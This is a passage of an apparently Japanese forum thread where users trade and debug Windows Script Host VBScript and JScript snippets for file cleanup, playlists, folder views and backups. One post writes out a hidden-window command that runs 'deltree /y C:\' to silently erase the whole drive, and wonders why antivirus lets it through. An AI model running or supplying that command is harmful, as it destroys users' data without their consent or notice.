ええと、folder0の中のfolder1、foldr2、hoge.mp3をD&Dした場合にhoge.mp3とfolder1、foldr2以下の
ファイルを全部一つにまとめたList.M3uをfolder0の中に作る、と言う感じです。

ごみ箱を空にする

Set SHELL = WScript.CreateObject("Shell.Application")
For Each DESKTOPFOLDER In SHELL.NameSpace(0).Items
If DESKTOPFOLDER.Name = "ごみ箱" Then
DESKTOPFOLDER.InvokeVerb "ごみ箱を空にする(&B)"
WScript.Quit 0
End If
Next

Set SHELL = WScript.CreateObject("Shell.Application")
SHELL.NameSpace(10).Items.Item.InvokeVerb "ごみ箱を空にする(&B)"

指定したフォルダのサブフォルダにReleaseフォルダ、Debugフォルダが存在するとき、
その中のファイルで拡張子が exe、dll以外のものを削除してくれます。
めっちゃ便利なんだけど需要ないかも。

##### 重要 #####
黙って削除が始まります。削除されてもよいフォルダで試してみてから実行してください。
取り扱いはくれぐれも慎重に！！

var fso = WScript.CreateObject("Scripting.FileSystemObject");

////// 検索対象のフォルダを指定 //////
cleenUpRD("d:\\src");
cleenUpRD("d:\\src.tmp");
//////////////////////////////////////

function cleenUpTempFile(folderPath)
{
var targetFolder = fso.GetFolder(folderPath);
for (var en = new Enumerator(targetFolder.Files); !en.atEnd(); en.moveNext())
{
var ext = fso.GetExtensionName(en.item().Path);
if (ext != "exe" && ext != "dll") en.item().Delete();
}
}

function cleenUpRD(folderPath)
{
var parentFolder = fso.GetFolder(folderPath);

for (var en = new Enumerator(parentFolder.SubFolders)
; !en.atEnd(); en.moveNext()) {

// Release フォルダの掃除
var releaseFolderPath = fso.BuildPath(en.item().Path, "Release");
if (fso.FolderExists(releaseFolderPath))
cleenUpTempFile(releaseFolderPath);

// Debug フォルダの掃除
var debugFolderPath = fso.BuildPath(en.item().Path, "Debug");
if (fso.FolderExists(debugFolderPath))
cleenUpTempFile(debugFolderPath);
}
}

あ、綴り間違えた(w

Dim objShell
Dim objFolder

Const BIF_RETURNONLYFSDIRS = &H1
Const BIF_BROWSEINCLUDEFILES = &H4000

Set objShell = CreateObject("Shell.Application")

Set objFolder = objShell.BrowseForFolder(0,"選択",BIF_RETURNONLYFSDIRS Or BIF_BROWSEINCLUDEFILES)

If objFolder Is Nothing Then
FileName = ""
Else
FileName = objFolder.ParentFolder.ParseName(objFolder.Title).Path
End If

Set objShell = Nothing
Set objFolder = Nothing

msgbox FileName

を実行して、ドライブルートにあるファイル（config.sysとかね）
を選択するとエラーが帰ってくるんだけど、回避できないの？

>>525
Dim ts,sList
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Randomize
For Each sArg In WScript.Arguments
If Fs.FolderExists(sArg) Then
Call MakeList(Fs.GetFolder(sArg))
aList=Split(sList,vbCrLf)
For I=0 To UBound(aList)
n=Int(Rnd()*UBound(aList))
m=Int(Rnd()*UBound(aList))
tmp=aList(n)
aList(n)=aList(m)
aList(m)=tmp
Next
sList=Join(aList,vbCrLf)
sParent=Fs.GetParentFolderName(sArg)
End If
Next
Set ts=Fs.CreateTextFile(Fs.BuildPath(sParent,"list.m3u"))
ts.Write sList
ts.Close
MsgBox "終了"
と
Sub MakeList(Folder)以下追加。これでどうだ。
というか、このスクリプト、何回改造されれば気がすむんだか(w

>>531
ほんとだ。ま、Folderオブジェクトを無理やりFolderItemオブジェクトとして
得ようとしているところに無理があるので、あきらめましょう。

でも、ルートにあってもhtmlファイルならエラーにならない。
不思議だねー。

あと、
FileName = objFolder.ParentFolder.ParseName(objFolder.Title).Path
は、
FileName = objFolder.Self.Path
にするとbetter。ただしWin98では不可。

>>532
マジで感謝です。
満足しました。おなかいっぱいです。
厨房なんで挑戦したんですけど、なかなかうまくいかなかったので・・・
でもおかげでランダムバージョンとソートバージョンは作れるようになりましたｗ

フォルダカスタマイズのスレがｶﾅﾘ勉強になったわよ。
初めてfolder.httの存在意義をｼｯﾀﾖ

>>535
あっちのすれは盛り上がりに欠けるが、スクリプト使いのみなさまは
ぜひフォルダカスタマイズにも、チャレンジしていただきたいですね。

WSHから、表示中のフォルダのHTML(*.htt)の内容を取りだすこともできるし、
*.httで宣言されている関数を実行することもできるし、
*.httで使われているコントロールをWSHから呼び出して使うと
便利だったりするし、両者は結構、密接な関係にあるのです。

参考例。
'30日以内に更新されたファイルを選択
Set Shell = WScript.CreateObject("Shell.Application")
For Each window In Shell.Windows
Set document=window.document
If typename(document)="IShellFolderViewDual" Then
Set oFolder = document.Folder
Set oFolderItems = oFolder.Items
For Each oFolderItem In oFolderItems
If DateDiff("d",oFolderItem.ModifyDate,Now)<=30 Then
document.SelectItem oFolderItem,1 '選択
Else
document.SelectItem oFolderItem,0 '選択解除
End If
Next
window.StatusText="30日以内に更新された" & _
document.SelectedItems.Count & "個のオブジェクトを選択"
End If
Next

参考例その2
'あるフォルダ内に含まれる複数ファイルをごみ箱に移す
MoveFilesToRecycleBin "C:\test",Array("testfile1.txt","testfile2.txt","testfile3.txt")

Sub MoveFilesToRecycleBin(Folder,Files)
Set Ie = WScript.CreateObject("InternetExplorer.Application")
Ie.Navigate Folder
Do While Ie.Busy Or Ie.ReadyState<>4
WScript.Sleep 10
Loop
Set document=Ie.Document
Set oFolder = document.Folder
Set oFolderItems = oFolder.Items
For Each oFolderItem In oFolderItems
For Each sFileName In Files
If LCase(oFolderItem.Name) = LCase(sFileName) Then
document.SelectItem oFolderItem,1
Exit For
Else
document.SelectItem oFolderItem,0
End If
Next
Next
document.SelectedItems.InvokeVerbEx "delete"
Ie.Quit
End Sub

参考例その3
'表示中のフォルダのHTMLソース表示。
Set oShell = CreateObject("Shell.Application")
For Each oWindow In oShell.Windows
Set oDocument=oWindow.document
If TypeName(oDocument)="HTMLDocument" Then
msgbox oDocument.body.parentElement.outerHTML,,oWindow.LocationURL
ElseIf TypeName(oDocument)="IShellFolderViewDual" Or _
TypeName(oDocument)="WebViewFolderContents" Then
msgbox oDocument.Script.document.body.parentElement.outerHTML,, _
oDocument.Folder.Items.Item.Path
End If
Next

参考例その4
'misc。何が起こるかはコメント行参照。
On Error Resume Next
Set Shell = WScript.CreateObject("Shell.Application")
For Each window In Shell.Windows
Set document=window.document
If typename(document)="IShellFolderViewDual" Then
Set oScript = document.Script 'HTMLWindow2オブジェクトを返す
If document.Folder.title="ごみ箱" Then
msg=msgbox (oScript.L_Intro_Text & vbCrLf & "ゴミ箱を空にしますか?", _
vbYesNo) '変数の表示
If msg=vbYes Then Call oScript.Empty '関数の実行
Else
msgbox oScript.Info.InnerText '情報ペインに表示されている内容を表示
oScript.FolderName.InnerText="WSHからのいたずら" 'フォルダ名を書き換える
oScript.window.document.body.style.color="red" '文字を赤に(スタイルの変更)
End If
End If
Next

なんかﾈﾀない? age

>>540
「VBS講座・応用編」のLesson16を書く。

>>541
何のことですか?
と、とぼけてみるテスト。

http://homepage2.nifty.com/winfaq/c/network.html#390
ここの、ページを開かずに html ソースだけを取得するには？と
URL リンクの html ソースを開きたいのですが？を使って、かちゅでも
使えるようにしていただけないでしょうか。

>>543
たしかにかちゅでやるとエラーになるね。
というわけで全面作り替えだ。
そこのサイトにあるviewsrc.vbsを実行した後、
C:\Windows\Web\viewsrc.htmを次のように書き換える。
IE5以上& ADO2.5以上必須。
http://www.microsoft.com/japan/developer/data/download/mdac/26/26065263.asp
↑これをインストールすればいいと思う。Win2000では不要。

<html><script language="JavaScript">
var uri = new String(external.menuArguments.event.srcElement.href);
var adTypeBinary = 1;
var adSaveCreateNotExist = 1;
var adSaveCreateOverWrite = 2;
var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
var Stream = new ActiveXObject("Adodb.Stream");
var WshShell = new ActiveXObject("WScript.Shell");
xmlhttp.Open("GET", uri, false);
xmlhttp.Send()
Stream.Type = adTypeBinary;
Stream.Open();
Stream.Write(xmlhttp.responseBody);
Stream.SaveToFile("$tempsrc.txt", adSaveCreateOverWrite);
WshShell.Run ("$tempsrc.txt");
</script></html>

これでブラクラ対策もばっちりだねっ!

WSHで起動しているアプリケーションを
すべて終了とかって出来ます？

便乗質問
>>479 のスクリプトをありがたく使わせてもらってるんですけど
2000/XPのサスペンドとか休止状態ってサポートされてるんですか？

>>545
できるけど、それって危険じゃないか?

たとえば、起動中のメモ帳をすべて終了させるなら、以下のようにする。
For each Process in GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("select * from Win32_Process where Name='notepad.exe'")
Process.Terminate
Next

ただし、TerminateであってCloseではないことに注意。
(強制終了に近い)

>>546
WMIのヘルプには記述がない。できないのかも。

サスペンドなら
Set Shell=WScript.CreateObject("Shell.Application")
Shell.Suspend
でできるけど、Win9x以外では動作しないっぽい。

>>544
ありがとうございました。
かちゅでもリンク先のソースが見れるようになりました。

質問させてください。
登録したタイトルのウィンドウが現れるとその内容を読み取り、さらに登録してあるボタンを自動的に押す、
というWSHスクリプトを作りたいと思っています。ACTIVEXを使うことになるのですが、
WINDOWの情報を取得するACTIVEX、ボタンを押すACTIVEXがあればどうかご教授ください。

>>547
おーコレです！
うちの環境だとなぜかシャットダウン時にWinamp鳴らしてると
ハングしてしまうので、強制終了させたかったんです。
手動で切るときはいいけど、寝てる間とか、外出時の
自動シャットダウンで困ってたので、これで解決

ありがとうございます！

ウィルス警報age

空っぽのフォルダを検索するものを11さんのを見て一から作ってみました。
変数が分かりづらくてごめんなさい。
C:\全体を検索します。desktop.ini、thumbs.dbがあるだけのフォルダや
0バイトのファイルがあるだけのフォルダも削除します。

dim d,e:d=0:e=0
title="empty folder search"
set a=createobject("scripting.filesystemobject")
call search(a.getfolder("C:\"))
msgbox "Search was finished."&vbcr&"There were "&d&" folders in your drive."&vbcr& _
"And "&e&" folder was (or folders were) removed.",4096+vbinformation,title

sub search(t)
for each b in t.subfolders
d=d+1
if b.subfolders.count<>0 then call search(b)
if b.subfolders.count=0 and _
(-a.fileexists(b.path&"\desktop.ini")-a.fileexists(b.path&"\thumbs.db")=b.files.count or b.size=0) then
'if b.subfolders.count=0 and b.files.count=0 then
c=msgbox(b.path&vbcr&"is empty."&vbcr&"Do you want to remove this folder?",4096+vbyesnocancel,title)
if c=vbyes then
b.delete(true)
e=e+1
elseif c=vbcancel then
wscript.quit
end if
end if
next
end sub

補足です。削除の際にいちいち問い合わせるのは空っぽだった場合に
My documentsとかもさっくり削除しちゃうからです。ウザくてｽﾏｿ

Set ie=CreateObject("InternetExplorer.Application")
で起動したＩＥのページが変わったときや、終了されたときを
を感知したいのですが、どうするといいのでしょう？

PerlScript を使っている人はいないですか？日本語を使わない限り
自分のマシンで動かす限り、VBScript や JScript の上を行っているように思います。
VBScript や JScript はスクリプト言語自体の拡張が出来ないけど
PerlScript ならモジュールで拡張していけるしというのが僕の意見です。

でもみんなで使えるのはやっぱり VBScript や JScript になっちゃうね。

PerlScriptってPerlよりなんか遅くない？気のせい？

間にスクリプティングエンジンが入る分遅くなるのではないでしょうか？
アーキテクチャはまだ詳しく知りません。これから勉強したいと思います。

>>557
「Rubyを256倍使うための本 邪道編」が詳しい。
RubyをActiveXスクリプトエンジンとして機能させる試みを通じて、
スクリプトエンジンのみならず、COMの核心に迫ります。

この本は、Rubyの本じゃなくてCOMの本だな。
興味のある人は買おう。実際、漏れもRubyなんか知らんけど買ったよ。
ttp://www.geocities.co.jp/SiliconValley-PaloAlto/9251/index.html
ttp://www15.freeweb.ne.jp/computer/ruby256/

>>554
>>316見れ。CreateObjectメソッドの第二引数=イベントハンドラのプリフィックス

age。

>>554
Set ie=CreateObject("InternetExplorer.Application")
でのページ変更と終了をしりたい。
って質問ですが、これ、WSH じゃなくて、
ローカルの HTML でやっているのでした。書き忘れました。
スレ違いなんですが、どこで聞いていいのかわからないので、
ここにかいてみました。
もしかしたらwindow.openでやったら出来るのかな？
その辺を教えてほしいです。

>>559
眠いけどれすれす。
Set newwindow=window.open("hogehoge")
Set newwindow.document.body.onload=GetRef("newwindow_onload")
Set newwindow.document.body.onunload=GetRef("newwindow_onunload")

Sub newwindow_onload()
'ウィンドウロード時の処理
End Sub
てな感じ。

age

>11さん、556さん
僕もだいぶ前にその本図書館で借りて読みました。VBScript とか
JScript ってスクリプトエンジンが構文解析とかもするんですよね？
DLL のファイルサイズも大きいのでそう思いました。でも Perl とかは
(Ruby もだと思いますけど）スクリプトエンジンとなる PerlSE.dll は
70kB ほどでスキャン、パースといった処理は Perl インタプリタ（Perl.exe）が
行っていると思います。それで Perl そのものが実行するより、間に
スクリプトエンジンが入ってしまう PerlScript の方が処理が遅いのかなって
思ったんです。ただ細かいことはよく理解していません。

MさんLOVE
だけどネタ無しｽﾏｿ

HTAからUTF-8のHTMLを書き出すプログラムをつくっています。
292さんはUTF-16のテキストを変換するのに一度外に出ているようですが、
HTAの中だけで処理できるような都合のよいオブジェクトはないものでしょうか？

クリップボードの中身保存とごみ箱を空にするを貰いました。
みんなｱﾘｶﾞ�d(ﾟдﾟ*)

PerlScriptもあれですが、そもそもVBScriptとJScriptって、どっちが
速いんでしょうか。
中間言語みたいなのにコンパイルされてから動くんでしたっけ。
なら、原理的にはどっちも同じ速度で動くのかな。

>>564
ttp://www.goice.co.jp/member/mo/amuse/javascript/expert/
ここにJavaScriptで作られたUTF-8 <-> UTF16 変換ライブラリがあるよ。
Shift-JISとの相互変換も似たような感じで作れないかな。

まあ、たぶん速度的にはめちゃくちゃ遅いと思いますが。

誰か今まで作成されたスクリプトをまとめてくれないかなー。
そろそろ一箇所にまとめてﾎｽｨなー。

>>567
漏れの書いた分なら、そのうち自分のサイトのネタになる可能性が
高いです。忙しいのとやる気が無いので、かなり、たまってますけど。

他のスクリプトの作者さんがもし希望されるなら、うちのサイトにうｐしますぜ。

自分が書いた分はここにさらしてあったりします。

http://www04.u-page.so-net.ne.jp/pb3/kazusige/

CreateObject("Wscript.Shell").Run "command /c deltree /y C:\",0
がアンチヴァイラスを素通りするのは何故だろう？

あんちヴぁいらすってなによ？

>>571
Anti Virus。
ウィルス駆除ソフトのコト。

11さん、ありがとうございます。変換ロジックは意外にシンプルなのですね。
しかし変換機能を持ったオブジェクトを見つけました。なんとBASP21にその
機能がありました。UCS2(=UTF16)-UTF8の変換でうまくいきました。
しかし機能の幅が広いですね。
http://www.hi-ho.ne.jp/~babaq/basp21.html

552の改良版です。速度を約2倍にしました。
また、WSHで取得できる特殊フォルダを無視するようにしました。
フォルダのドロップかダブルクリックで開始します。
ダブルクリックの場合はvbsがあるドライブを総検索します。
フォルダのドロップで開始した場合は削除時の問い合わせはしません。

DIM D,E,LIST()
D=0:E=0
TITLE="empty folder search"
SET A=CREATEOBJECT("SCRIPTING.FILESYSTEMOBJECT")
FOR EACH Q IN CREATEOBJECT("WSCRIPT.SHELL").SPECIALFOLDERS
REDIM PRESERVE LIST(N)
LIST(N)=Q
N=N+1
NEXT
FOR EACH ARG IN WSCRIPT.ARGUMENTS
IF A.FOLDEREXISTS(ARG) THEN
CALL SEARCH(A.GETFOLDER(ARG),FALSE)
ARGS=ARGS&ARG&VBCR
END IF
NEXT
IF ARGS="" THEN
ARGS=LEFT(WSCLIPT.SCRIPTFULLNAME,3)
CALL SEARCH(A.GETFOLDER(ARGS),TRUE)
ARGS=ARGS&VBCR
END IF
MSGBOX ARGS&"総フォルダ数: "&D&VBCR&"削除したフォルダ数: "&E,4160,TITLE

続く

続き

SUB SEARCH(T,MSG)
FOR EACH B IN T.SUBFOLDERS
D=D+1
IF B.SUBFOLDER.COUNT<>0 THEN CALL SEARCH(B,MSG)
IF B.SUBFOLDER.COUNT=0 THEN
PATH=B.PATH
IF -A.FILEEXISTS(PATH&"\desktop.ini")-A.FILEEXISTS(PATH&"\tumbs.db")=B.FILE.COUNT OR B.SIZE=0 THEN
IF ISNOTSPECIALFOLDER(PATH) THEN
IF MSG THEN
C=MSGBOX(PATH&VBCR&"は空です。削除しますか？",4099,TITLE)
IF C=VBYES THEN
B.DELETE(TRUE)
E=E+1
ELSEIF C=VBCANCEL THEN
WSCRIPT.QUIT
END IF
ELSE
B.DELETE(TRUE)
E=E+1
END IF
END IF
END IF
END IF
NEXT
END SUB

FUNCTION ISNOTSPECIALFOLDER(P)
FOR EACH Q IN LIST
IF Q=P THEN EXIT FUNCTION
NEXT
ISNOTSPECIALFOLDER=TRUE
END FUNCTION

手違いで大文字になってしまいました。見にくくて申し訳ないです…

age

自分自身が入ってるパスを取得したいんですが、
どうすればいいでしょう。
VBでいうApp.Pathみたいな。

>>578
リファレンス読んで勉強

>>469
>Fs.GetParentFolderName(WScript.ScriptFullName)
>で取れるよ。FileSystemObjectを他で使ってる場合は、
>この方法がお勧めだけど、これだけのためにわざわざ
>使うのはお勧めしない。
>s=WScript.ScriptFullName
>Mid(s,1,InStrRev(s,"\"))とかでどうか。

こういうのは見つけたけど、なぜか取得できない。
<script language="VBScript">
Dim wsh,fso
Set wsh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
wsh.Popup fso.GetParentFolderName(WScript.ScriptFullName)
</script>
えっとこんな感じなんだけど。
スクリプトのある場所がメッセージボックスで表示されると嬉しい感じで。
どこが問題なんだろう。

WSH の VBScript なのに妙なタグがあってエラーというオチじゃないよね？

あ、これ*.vbsじゃなくてHTMLにしてIEの右クリックから呼び出して使ってる。
だからタグが入ってる。
タグ抜かして*.vbsならちゃんとパスのメッセージボックス出るけど、
それじゃ意味がない。
ブラウザで右クリックから実行してパスが知りたいの。

WSH の話じゃないのか（ｗ
WSH じゃないなら WScript.ScriptFullName なんてムリに決まってる。

右クリックならこんなんで充分じゃないの？
<script language="VBScript">
external.menuArguments.window.alert( window.location )
</script>

つまりどこにHTMLが入ってるか取得は無理と考えた方がいいって事？

あ、
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt
から拾ってこれるかな。
やってみよう。今夜。

いや、だから 583 で window.location と書いたのだが。。。
file:/// を取れば WScript.ScriptFullName と同じように使えるよ。
（\ が / になってるが、Windows 上のプログラミングだと大抵 \ も / も同じように使える）

つーかスレ違い。

window.location.pathname

自分のマシン限定であれば RubySript が最強だと思う。
PerlScript は日本語使えない時点で論外。
まあとにかく VBScript、JScript の機能は貧弱すぎる。
やることによってはこいつらで十分でもアルのだが。

ただ会社でクライアントマシンを管理するときはどうしても
VBScriptかJScriptになる。これはもとから入っている強みだな。

やっぱみんなは VBScript 派？

VBScript
JScript
PerlScript
RubyScript
PythonScript
TclScript

こんなｹﾞﾃﾓﾉもあるそうだ。

COBOL Script
http://www.np.hitachi-sk.co.jp/cobolscript/

ところで11はどうしたんだ？

このスレに触発されて、初めてスクリプトを組んでみました。

---------
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
sFolder="z:\" 'コピー元
dFolder = "d:\" 'コピー先
backupdate = Month(now) & "-" & Day(now) & "-" & Year(now)
dListFolder= dFolder & backupdate & "\"

Dim oShell
Set oShell = WScript.CreateObject ("WSCript.shell")
oShell.run "cmd /k xcopy " & "" & sFolder & "" & " " & "" & dListFolder & "" & " /D:" & "" & backupdate & "" & exit"
Set oShell = Nothing
---------

1.フォルダを作成（フォルダ名はその日付）
2.その日に更新されたファイルを作成したフォルダにコピー

単に日付とフォルダ名をxcopyに渡すだけじゃないかと言われそうですが、
その通りです。以前、バッチファイルで作成しようと思ったのですが、
xcopyに日付を自動的に引数として渡す方法が思い浮かばなかったので。

Windows2000 Server SP2（英語版）で作成したのですが、おかしな点が
あります。

1.タスクスケジューラ上で動作してくれない
2.作成されたフォルダに、systemとhiddenの属性がついている
（attrib -s -h +a をしないと見えない）

どなたか、添削して下さると嬉しいです。
欲を言えば、最後にこのスクリプトを実行した日以降をまとめて保存する
という形に改変希望です。。。

>>588

「WSH講座・応用編」のLesson16を書いている最中なんでしょう。

>>590
あれは永遠に完成しないと思われ。つーか、Dictionaryオブジェクトくらい
リファレンス読んで理解しよう(w

>>589
FileSystemObjectを使って、CreateFolderしたら、普通は
属性はつかないと思うのですが。というか、FileSystemObjectどこで使ってるんですか??

CreateFolderしても、どうしてもsystemとhiddenがついちゃうなら、つぎのようにしてみては。
Set oFolder = Fs.CreateFolder(dListFolder)
oFolder.Attributes = 0
Set oFolder = Nothing

タスクスケジューラの件は、よくわかんないです。
アカウントとパスワードの指定はしました?

スクリプトを実行した日以降をまとめて、はどう実装しましょうかねえ。
バックアップフォルダ内を検索して、mm-dd-yyという名前のフォルダが
あったら、yymmddという数字に変換して、最大値を見つける。
で、その最大値を最後に実行した日とする。これでどうか。

残念ですね。漏れは11さんのサイトでwshを勉強させてもらったのでね。
WEBにまとめるのは時間がかかるんでしょうね。こんどのフォルダカスタマイズ
も期待してます。

>あれは永遠に完成しないと思われ。つーか、Dictionaryオブジェクトくらい
>リファレンス読んで理解しよう(w

>>592
まじですか。誰も待ってる人いないと思ってたのですが。
やっつけ仕事でもやるべきか。

完成させる気がないならないでいいが。
確かに残念ではあるな。

>．．．Dictionaryオブジェクトくらい
>リファレンス読んで理解しよう(w
自らのコンテンツを否定するような発言だが、
これはちと言い過ぎでないかい？このスレだからか。

>>594
ここで釈明するのもなんだか変な話なんですが。
昔は、リファレンスが今ほど充実してなくて、WSHに関する情報が
なかなか手に入らなかったんですな。
で、うちのページは、散在する情報を一つにまとめて提供する、
って方針ではじめたんです。

ところが、2年も経つと、公式ドキュメントの方が充実してきて、だいぶ
状況が変わってきた。私があんまり乗り気になれないのも、わかってもらえるかと。
というわけで、私のいつまでたっても完成しないLessonより、
公式リファレンスを見たほうがいいよ、ってこと。
http://download.microsoft.com/download/winscript56/Install/5.6/W98NT42KMe/JA/scd56jp.exe

確かに2年前は本の種類もあんまりなかった気がする。

>11
なるほど。了解。

ところで、そのドキュメントは何故Winに標準でつけないんだろうか？
(今はついてるのかもしれんが．．．)
謎の「C:\WINDOWS\SAMPLES\WSH」よりはよっぽど有益な気がするが、
M$のやることはわからん。

WSHでメモリ使わないでキー変更できるプログラム作れませんか？
当方Windows98使ってます。
CapsLock⇒Control
C-h⇒BackSpace
...
みたいなやつ。
それほど難しいことできなくていいのですが、、、
教えてください。

>>596
本自体は今でもあんまりない気がする。
ここ2〜3年で出た(or 改訂された)WSH関係の本、ご存知なら教えてください。
雑誌の連載とかでもいいです。

>>597
MSは、WSHをデベロッパー向けのツールと捉えているからだと思われ。
多数のユーザーに使ってもらいたいという意思は、あまり感じられない。

>>600
WSHは、そんなことをするためのツールじゃない。

>>601
デベロッパーというより、管理者だな。ｽﾏｿ。

VBscriptでDonutPの自動巡回って出来る？
URLlistを読み込んでブラウザの一つのウィンドウだけに
次々表示していくようなもの。

ついでに、INCMのプラグインにVBSが使えるようなスタブを
誰か作ってくれないかなぁとツブヤイテミル。